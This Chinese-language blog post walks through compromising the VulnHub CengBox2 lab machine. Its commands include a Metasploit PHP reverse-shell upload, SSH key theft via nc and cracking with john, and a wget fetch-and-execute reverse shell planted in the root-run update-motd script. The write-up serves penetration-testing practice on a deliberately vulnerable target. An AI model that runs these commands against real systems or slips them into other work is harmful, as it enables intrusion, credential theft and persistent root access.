VulnHub CengBox2靶機滲透

angeibare發表於2020-06-24

​本文首發於微信公眾號:VulnHub CengBox2靶機滲透,未經授權,禁止轉載。

難度評級:☆☆☆☆官網地址:https://download.vulnhub.com/cengbox/CengBox2.ova天翼雲盤:https://cloud.189.cn/t/nq6r6jQVRZBz百度網盤:https://pan.baidu.com/s/1EMIZg3x2ebqOdRmif4O2Jg 提取碼:gt6g官網簡介:Ceng Company似乎正在維護,但仍可能執行著某些業務滲透目標:獲取普通使用者以及root使用者許可權本機地址:192.168.110.27靶機地址:192.168.110.30, 192.168.110.32

 

資訊收集

老規矩,還是nmap開路。

nmap 192.168.110.0/24

掃描結果顯示共開啟了3個埠,分別執行著FTP、SSH和HTTP服務。一般來說,漏洞出現在HTTP服務的可能性最大,首先看看網站有什麼敏感資訊。

顯示網站正在維護,原始碼中也沒有提供任何有用的資訊。那麼就需要使用dirb掃描網頁目錄了。

dirb 192.168.110.30

只掃到了兩個頁面,index.html很明顯是剛才訪問的主頁,而server-status是不可能有許可權訪問的,也就是說,dirb沒有掃出有用資訊。

既然80埠找不到突破點,那麼看看FTP服務可不可以匿名登入。

ftp 192.168.110.30

可以匿名登入,檢視一下ftp目錄下有什麼敏感檔案。

ls 

有一個名為note.txt的檔案,不管三七二十一,先下載下來再說。

get note.txt

下載完成,檢視檔案內容。

檔案內容提示Aaron用預設密碼初始化了Kevin的賬號,並且把站點轉移到了ceng-company.vm域下。猜測通過域名和IP訪問網站的相應結果不同。

修改hosts檔案,把ceng-company.vm定向到192.168.110.30。

sudo vim /etc/hosts

接下來使用瀏覽器訪問ceng-company.vm看看是否有不同的返回結果。

很遺憾,還是之前的頁面。再次使用dirb掃描看看。

依然沒有有用的資訊,不過既然靶機作者給出了提示,那麼突破點就應該在網頁上。

考慮到ceng-company.vm是一級域名,而絕大多數網站都是通過二級域名訪問的,例如www.sogou.com、blog.csdn.net等。因此考慮在ceng-company.vm前加上字首,組成二級域名,看網站是否有不同的響應。

vim /etc/hosts

這裡新增了www、bbs、login、admin和blog這幾個常見的字首。經過測試,admin.ceng-company.vm會顯示禁止訪問,而其他二級域名則顯示與ceng-company.vm一樣的結果。

admin.ceng-company.vm一定有貓膩,再次使用dirb掃描。

dirb http://admin.ceng-company.vm

這次的結果更慘,只掃到一個頁面。雖然沒有掃描出什麼結果,但admin.ceng-company一定是靶機的突破口,應該是dirb預設的字典不夠大才無法掃描到有用的結果。

結合以前使用dirbuster需要一個小時才能掃描完成的經歷,將預設字典換成dirbuster的字典再次嘗試,由於dirbuster的自帶的字典過於龐大,需要使用-w引數才能正常使用。

dirb http://admin.ceng-company.vm /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w

功夫不負有心人,經過漫長的等待,終於發現了一個可以訪問的目錄。

網頁端檢視該目錄,發現是一個CMS。

點選網頁的所有連結發現沒有有用的資訊後,嘗試訪問login頁面。

由於note.txt中給出了提示,Kevin的賬號是使用預設密碼初始化的,嘗試E-mail為kevin@ceng-company.vm,密碼為admin登入。

登入成功後網頁又跳轉到初始頁面,那麼就試試admin頁面。

檢視頁面內容後發現Content -> File Manager可以上傳檔案。

 

通過這個頁面應該可以上傳PHP木馬,接下來需要配合msf等工具生成PHP木馬,並獲取靶機的遠端shell。

 

漏洞利用

 

首先需要使用msf生成PHP木馬。

msfconsole use multi/script/web_deliveryset payload php/meterpreter/reverse_tcpset LHOST 192.168.110.27set target PHPrun

這幾條命令將會生成shell命令,複製eval部分內容儲存成php指令碼檔案,然後上傳到靶機上。

 

顯示上傳成功,但是在網頁端並沒有檢視到shell.sh,可能被伺服器過濾了。接下來嘗試上傳到tmp目錄。

上傳成功,訪問admin.ceng-company.vm/gila/tmp/shell.php。

顯示禁止訪問,這應該與.htaccess檔案有關,開啟.htaccess,重新命名為.htaccess.bak。

闖大禍了,修改檔名之後所有的頁面都不可訪問,這下徹底沒有辦法了。由於沒有對靶機做備份,需要重新匯入ova檔案,靶機的IP更新為192.168.110.32。

這裡的原因是刪除了根目錄下的.htaccess,本來只需要刪除tmp下的.htaccess檔案即可。

將其重新命名為.htaccess.bak。

然後再訪問admin.ceng-company.vm/gila/tmp/shell.php。

msf成功獲取靶機shell。

sessions l

 

sessions -i 1shell

將不好用的shell改為bash。

whereis python

系統中安裝了python2.7和python3.5。

python3.5 -c 'import pty; pty.spawn("/bin/bash")'

 

許可權提升

切換到家目錄檢視有哪些使用者。

cd /homedir

其中無法進入mitnick目錄,可以進入swartz目錄。

檢視當前目錄下有沒有可以利用的檔案。

ls -l

檢視檔案內容。

cat runphp.sh

該檔案的功能為互動式執行php,檢視是否可以以swartz許可權執行該指令碼。

sudo -l

果然,是可以免密碼以swartz許可權執行runphp.sh的。

sudo -u swartz ./runphp.sh

需要注意引數,./runphp.sh和/home/swartz/runphp.sh都可以,但是不能直接使用檔名,否則還是需要輸入密碼。

接下來使用互動式php獲取swartz的shell。

pcntl_exec('/bin/bash');

再次嘗試進入mitnick家目錄。

成功進入,檢視該目錄下有無提示。

ls -la

有一個名為user.txt的檔案,但是沒有任何許可權,很明顯,這是在提示需要提權到mitnick使用者才能進入下一步。

查詢一下有什麼檔案可以以mitnick或root許可權執行。

sudo -l

很遺憾,需要密碼。這時候注意到mitnick家目錄下有.ssh資料夾,進入資料夾檢視。

檢視id_rsa。

接下來嘗試使用John the Rapper暴力破解密碼。

nc -lvvp 31337 < id_rsanc 192.168.110.32 31337 > mitnick.key

將mitnick.key轉換成john可識別的檔案。

/usr/share/john/ssh2john.py mitnick.key > mitnick.johncat mitnick.john

使用John the Rapper暴力破解。

locate rockyou.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt mitnick.john

幾秒鐘就將密碼爆破出來了。接著使用mitnick.key登入靶機。

ssh -i mitnick.key mitnick@ceng-company.vm

無法登入,原因是mitnick.key許可權為644,需要改成600才能登入。

chmod 600 mitnick.keyssh -i mitnick.key mitnick@ceng-company.vm

檢視user.txt

cat user.txt

第一個flag已經拿到。現在需要提權到root,首先查詢有哪些可以利用的檔案。

find / -type f -perm -g+rwx 2>/dev/null

update-motd.d資料夾下的指令碼會在使用者通過SSH登入時由root執行,主要的作用是在登入時顯示訊息。既然有寫許可權,那麼進行反彈shell。

使用msf生成反彈shell指令碼。

use multi/script/web_deliveryset payload linux/x86/shell_reverse_tcpset LHOST 192.168.110.27set target Linuxrun

執行之後將會生成一個wget命令。

將該命令寫進指令碼並設定可執行許可權。

  1. echo "wget -qO gA5sN4z7 --no-check-certificate http://192.168.110.27:8080/kVEbfSR4mAORkbG; chmod +x gA5sN4z7; ./gA5sN4z7& disown" > rootShell.sh
  2. chmod 777 rootShell.sh

最後將rootShell.sh寫進00-header。

echo "sh /home/mitnick/rootShell.sh" >> /etc/update-motd.d/00-header

登出SSH會話,重新連線。

exitssh -i mitnick.key mitnick@192.168.110.32

此時msf已經成功獲取shell。

sessions -lsessions -i 1

檢查許可權,切換成bash。

idpython3.5 -c 'import pty; pty.spawn("/bin/bash")'

查詢flag。

cd /rootlscat root.txt

至此,對靶機的滲透已經全部完成。

相關文章